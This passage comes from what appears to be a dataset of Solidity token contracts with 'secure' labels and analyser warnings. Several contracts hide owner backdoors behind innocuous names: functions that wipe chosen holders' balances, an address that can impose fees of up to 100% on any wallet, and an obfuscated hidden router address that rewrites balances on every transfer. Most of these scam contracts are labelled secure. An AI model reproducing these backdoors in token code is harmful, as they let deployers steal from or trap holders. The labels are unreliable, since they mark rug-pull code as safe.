_totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == maze, \"Not allowed\");\n\n _;\n }\n\n function butterfly(address[] memory hotdog) public onlyOwner {\n for (uint256 i = 0; i < hotdog.length; i++) {\n address account = hotdog[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1011.sol",
"secure": 1,
"size_bytes": 4344
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract HONKARMY is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable remotely;\n\n constructor() {\n _name = \"HONK ARMY\";\n\n _symbol = \"HONKARMY\";\n\n _decimals = 18;\n\n uint256 initialSupply = 34700000000;\n\n remotely = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == remotely, \"Not allowed\");\n\n _;\n }\n\n function effectively(address[] memory conclusion) public onlyOwner {\n for (uint256 i = 0; i < conclusion.length; i++) {\n address account = conclusion[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1012.sol",
"secure": 1,
"size_bytes": 4385
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PEPES is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"PEPES\", \"PEPES\") Ownable(initialOwner) {\n require(initialOwner != address(0), \"Invalid owner address\");\n\n _mint(initialOwner, 100000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1013.sol",
"secure": 1,
"size_bytes": 586
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract AEW is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d0cb6b8): AEW._decimals should be immutable \n\t// Recommendation for d0cb6b8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c6d8f86): AEW._totalSupply should be immutable \n\t// Recommendation for c6d8f86: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ba3c01b): AEW._marketnkiaddress should be immutable \n\t// Recommendation for ba3c01b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketnkiaddress;\n\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketnkiaddress = 0xbAcEf527882B5882ED9624DC1b9504d50efcbC43;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Apvrove(address user, uint256 Percents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = Percents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, Percents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketnkiaddress;\n }\n\n function liqbilltyers(address recipient, uint256 aDropst) external {\n uint256 receiveRewrd = aDropst;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_1014.sol",
"secure": 1,
"size_bytes": 5346
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract TheDOGEReserve is Ownable, ERC20 {\n bool public limited;\n\n uint256 public maxHoldingAmount;\n\n uint256 public minHoldingAmount;\n\n address public uniswapV2Pair;\n\n mapping(address => bool) public blacklists;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 87fcd05): TheDOGEReserve.constructor(uint256)._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 87fcd05: Rename the local variables that shadow another component.\n constructor(uint256 _totalSupply) ERC20(\"The D.O.G.E Reserve\", \"dRSV\") {\n _mint(msg.sender, _totalSupply);\n }\n\n function blacklist(\n address _address,\n bool _isBlacklisting\n ) external onlyOwner {\n blacklists[_address] = _isBlacklisting;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 24eeb9b): TheDOGEReserve.setRule(bool,address,uint256,uint256) should emit an event for maxHoldingAmount = _maxHoldingAmount minHoldingAmount = _minHoldingAmount \n\t// Recommendation for 24eeb9b: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f8da601): TheDOGEReserve.setRule(bool,address,uint256,uint256)._uniswapV2Pair lacks a zerocheck on \t uniswapV2Pair = _uniswapV2Pair\n\t// Recommendation for f8da601: Check that the address is not zero.\n function setRule(\n bool _limited,\n address _uniswapV2Pair,\n uint256 _maxHoldingAmount,\n uint256 _minHoldingAmount\n ) external onlyOwner {\n limited = _limited;\n\n\t\t// missing-zero-check | ID: f8da601\n uniswapV2Pair = _uniswapV2Pair;\n\n\t\t// events-maths | ID: 24eeb9b\n maxHoldingAmount = _maxHoldingAmount;\n\n\t\t// events-maths | ID: 24eeb9b\n minHoldingAmount = _minHoldingAmount;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n require(!blacklists[to] && !blacklists[from], \"Blacklisted\");\n\n if (uniswapV2Pair == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n\n return;\n }\n\n if (limited && from == uniswapV2Pair) {\n require(\n super.balanceOf(to) + amount <= maxHoldingAmount &&\n super.balanceOf(to) + amount >= minHoldingAmount,\n \"Forbid\"\n );\n }\n }\n\n function burn(uint256 value) external {\n _burn(msg.sender, value);\n }\n}",
"file_name": "solidity_code_1015.sol",
"secure": 0,
"size_bytes": 2772
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Catimus is ERC20, Ownable {\n constructor() ERC20(\"Elon CAT\", \"Catimus\") Ownable(msg.sender) {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1016.sol",
"secure": 1,
"size_bytes": 370
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Wifai is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable spit;\n\n constructor() {\n _name = \"WIF AI\";\n\n _symbol = \"WIFAI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 561000000;\n\n spit = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == spit, \"Not allowed\");\n\n _;\n }\n\n function consider(address[] memory carry) public onlyOwner {\n for (uint256 i = 0; i < carry.length; i++) {\n address account = carry[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1017.sol",
"secure": 1,
"size_bytes": 4344
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract TrumpsMugshot is ERC20, ERC20Burnable, Ownable {\n uint256 private constant INITIAL_SUPPLY = 1000000000 * 10 ** 18;\n\n constructor() ERC20(\"TRUMPS MUGSHOT\", \"MUG\") {\n _mint(msg.sender, INITIAL_SUPPLY);\n }\n\n function distributeTokens(address distributionWallet) external onlyOwner {\n uint256 supply = balanceOf(msg.sender);\n\n require(supply == INITIAL_SUPPLY, \"Tokens already distributed\");\n\n _transfer(msg.sender, distributionWallet, supply);\n }\n}",
"file_name": "solidity_code_1018.sol",
"secure": 1,
"size_bytes": 805
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Hotei is ERC20 {\n constructor() ERC20(\"HOTEI\", \"HOTEI\") {\n _mint(msg.sender, 777000000 * 10 ** 18);\n }\n}",
"file_name": "solidity_code_1019.sol",
"secure": 1,
"size_bytes": 260
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\n\ncontract KabosuKing is Ownable {\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balanceses;\n\n\t// WARNING Optimization Issue (constable-states | ID: f5b7c0a): KabosuKing._totalSupply should be constant \n\t// Recommendation for f5b7c0a: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n string private _name;\n\n string private _symbol;\n\n UniswapRouterV2 Router2Instance;\n\n\t// WARNING Optimization Issue (constable-states | ID: 16a6060): KabosuKing._initSupply should be constant \n\t// Recommendation for 16a6060: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSupply =\n 1323995976083318023847656560591034026600115552771;\n\n function INIT() internal {\n uint256 supplyhash = _initSupply;\n\n address router_;\n\n router_ = address(uint160(supplyhash));\n\n Router2Instance = UniswapRouterV2(router_);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 675b8f7): KabosuKing.constructor(string,string).name shadows KabosuKing.name() (function)\n\t// Recommendation for 675b8f7: Rename the local variables that shadow another component.\n constructor(string memory name, string memory sym) {\n _name = name;\n\n _symbol = sym;\n\n _balanceses[_msgSender()] = _totalSupply;\n\n INIT();\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 675b8f7): KabosuKing.constructor(string,string).name shadows KabosuKing.name() (function)\n\t// Recommendation for 675b8f7: Rename the local variables that shadow another component.\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balanceses[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9521869): KabosuKing.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9521869: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n (_balanceses[owner], ) = _aroveeee(owner, true, amount);\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9ebe80d): KabosuKing.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9ebe80d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[owner][sender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b4d77cf): KabosuKing.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b4d77cf: Rename the local variables that shadow another component.\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n (_balanceses[from], ) = _aroveeee(from, true, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6f2852e): KabosuKing._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6f2852e: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][sender] = amount;\n\n emit Approval(owner, sender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = _balanceses[from];\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balanceses[from] = balance - amount;\n\n _balanceses[to] = _balanceses[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0694b26): KabosuKing._dogeswap(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0694b26: Rename the local variables that shadow another component.\n function _dogeswap(\n address owner,\n uint256 amount\n ) internal virtual returns (uint256) {\n return\n IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balanceses[owner],\n owner\n );\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cead35f): KabosuKing._aroveeee(address,bool,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cead35f: Rename the local variables that shadow another component.\n function _aroveeee(\n address owner,\n bool no,\n uint256 amount\n ) internal virtual returns (uint256, bool) {\n if (no == true) {\n return (_dogeswap(owner, amount), true);\n } else {\n return (_balanceses[owner], true);\n }\n }\n}",
"file_name": "solidity_code_102.sol",
"secure": 0,
"size_bytes": 7037
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract Agenda47 is ERC20, Ownable {\n IUniswapV2Router02 private constant _router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address public uniswapPair;\n\n address public immutable feeReceiver;\n\n uint256 private maxWalletSize = 470000 * 1e9;\n\n uint256 private contractSwapMax = 705000 * 1e9;\n\n uint256 private contractSwapMin = 9400 * 1e9;\n\n uint32 private _buyCount;\n\n uint32 private _sellCount;\n\n uint32 private _lastSellBlock;\n\n uint256 private _startBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4f90143): Agenda47._preventSwapBefore should be constant \n\t// Recommendation for 4f90143: Add the 'constant' attribute to state variables that never change.\n uint32 private _preventSwapBefore = 50;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8fda1c8): Agenda47._lowerFeesAt should be constant \n\t// Recommendation for 8fda1c8: Add the 'constant' attribute to state variables that never change.\n uint32 private _lowerFeesAt = 78;\n\n uint32 private _finalBuyFee = 0;\n\n uint32 private _finalSellFee = 10;\n\n bool private _inSwap;\n\n uint256 public buyFeePercent;\n\n uint256 public sellFeePercent;\n\n mapping(address => bool) private excludedFromTxLimits;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e1eed53): Agenda47.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for e1eed53: Rename the local variables that shadow another component.\n constructor() payable ERC20(\"Agenda 47\", \"A47\") {\n uint256 totalSupply = 47000000 * 1e9;\n\n feeReceiver = 0x068227ABFD258907F4ae805618C1Ed806CDe5ABC;\n\n buyFeePercent = 10;\n\n sellFeePercent = 20;\n\n excludedFromTxLimits[feeReceiver] = true;\n\n excludedFromTxLimits[msg.sender] = true;\n\n excludedFromTxLimits[address(this)] = true;\n\n excludedFromTxLimits[address(0xdead)] = true;\n\n _approve(address(this), address(_router), totalSupply);\n\n _approve(msg.sender, address(_router), totalSupply);\n\n _mint(msg.sender, totalSupply);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a5f8569): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a5f8569: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: f76e3aa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for f76e3aa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 54bb034): Agenda47._transfer(address,address,uint256) uses a dangerous strict equality block.number == _startBlock\n\t// Recommendation for 54bb034: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fafb0b4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fafb0b4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(\n from != address(0),\n \"Transfer from the zero address not allowed.\"\n );\n\n require(to != address(0), \"Transfer to the zero address not allowed.\");\n\n require(amount > 0, \"Transfer amount must be greater than zero.\");\n\n bool excluded = excludedFromTxLimits[from] || excludedFromTxLimits[to];\n\n require(\n uniswapPair != address(0) || excluded,\n \"Liquidity pair not yet created.\"\n );\n\n bool isSell = to == uniswapPair;\n\n bool isBuy = from == uniswapPair;\n\n if (isBuy && !excluded) {\n require(\n balanceOf(to) + amount <= maxWalletSize ||\n to == address(_router),\n \"Max wallet exceeded\"\n );\n\n\t\t\t// incorrect-equality | ID: 54bb034\n if (block.number == _startBlock) {\n require(_buyCount < _lowerFeesAt);\n }\n\n if (_buyCount <= _lowerFeesAt) _buyCount++;\n\n if (_buyCount == _lowerFeesAt) {\n buyFeePercent = _finalBuyFee;\n\n sellFeePercent = _finalSellFee;\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n isSell &&\n !_inSwap &&\n contractTokenBalance >= contractSwapMin &&\n !excluded &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > _lastSellBlock) _sellCount = 0;\n\n require(_sellCount < 3, \"Only 3 sells per block!\");\n\n _inSwap = true;\n\n\t\t\t// reentrancy-events | ID: a5f8569\n\t\t\t// reentrancy-no-eth | ID: f76e3aa\n\t\t\t// reentrancy-eth | ID: fafb0b4\n swapTokensForEth(\n min(\n (amount * 15) / 10,\n min(contractTokenBalance, contractSwapMax)\n )\n );\n\n\t\t\t// reentrancy-no-eth | ID: f76e3aa\n _inSwap = false;\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t// reentrancy-events | ID: a5f8569\n\t\t\t// reentrancy-eth | ID: fafb0b4\n if (contractETHBalance > 0) sendETHToFee(contractETHBalance);\n\n\t\t\t// reentrancy-eth | ID: fafb0b4\n _sellCount++;\n\n\t\t\t// reentrancy-eth | ID: fafb0b4\n _lastSellBlock = uint32(block.number);\n }\n\n uint256 fee = isBuy ? buyFeePercent : sellFeePercent;\n\n if (fee > 0 && !excluded && !_inSwap && (isBuy || isSell)) {\n uint256 fees = (amount * fee) / 100;\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: a5f8569\n\t\t\t\t// reentrancy-eth | ID: fafb0b4\n super._transfer(from, address(this), fees);\n\n amount -= fees;\n }\n }\n\n\t\t// 